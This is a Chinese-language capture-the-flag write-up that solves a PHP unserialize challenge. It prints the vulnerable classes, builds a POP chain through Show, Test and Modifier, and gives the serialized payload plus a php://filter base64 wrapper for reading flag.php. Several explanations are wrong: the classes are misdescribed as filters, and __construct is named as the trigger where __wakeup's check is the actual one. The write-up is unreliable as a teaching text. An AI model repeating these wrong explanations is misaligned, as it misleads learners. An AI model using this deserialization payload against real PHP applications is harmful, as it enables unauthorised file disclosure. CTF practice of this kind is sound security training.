拿到题目后先解析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

从代码中可以看出

  • Modifier类是一个过滤器类,用于过滤输入的文件路径
  • Show类是一个显示类,用于显示文件内容
  • Test类是一个测试类,用于测试Modifier类的过滤功能
  • __wakeup方法用于在反序列化时检查文件路径是否包含特殊字符,如有则过滤

构造pop链

1. 发现Modifier类中有include函数,可以作为突破口,把flag.php包含进来查看flag,但是有__invoke方法,所以只有它被当成函数执行的时候才会执行

2. 又发现Test类中有__get方法,它把$p变量当成了函数执行,所以可以把$p变量的值设置为Modifier类的实例,这样就可以在__get方法中调用Modifier类的__invoke方法,从而包含flag.php文件,但是只有调用不存在或无法访问的属性时才会调用__get方法

3. 发现Show类中__toString方法,它调用了$str变量的source属性,可以把$str变量的值设置为Test类的实例,因为Test中没有source属性,所以这样就可以在__toString方法中调用Test类的__get方法,但是只有它被当成字符串执行时才会调用__toString方法

4. 而Show中的construct方法把source属性当成了字符串执行,所以可以把source属性的值设置为Show类的实例,这样就可以在__construct方法中调用Show类的__toString方法,从而包含flag.php文件

执行pop链

把Modifier类的var属性设置为flag.php,然后各种赋值,最后序列化

1
2
3
4
5
6
7
8
9
10
11
12
class Modifier
{
protected $var = 'flag.php';
public function append($value)
{
include($value);
}
public function __invoke()
{
$this->append($this->var);
}
}
1
2
3
4
5
6
7
$a = new Modifier;
$b = new Show();
$c = new Test;
$c->p = $a;
$b->str = $c;
$b->source = $b;
echo serialize($b);

得到序列化字符串

O:4:”Show”:2:{s:6:”source”;r:1;s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:8:”Modifier”:1:{s:6:”%00*%00var”;s:8:”flag.php”;}}}
在*前后加上%00(尽量整个字符串都url编码,这里懒得编码了)

get传参序列化字符串

666

并没有显示flag,猜测文件并没有直接输出flag而是设置在变量中,所以把Modifier类的var属性设置为php://filter/read=convert.base64-encode/resource=flag.php拿到文件的base64编码

666

然后解码得到flag

666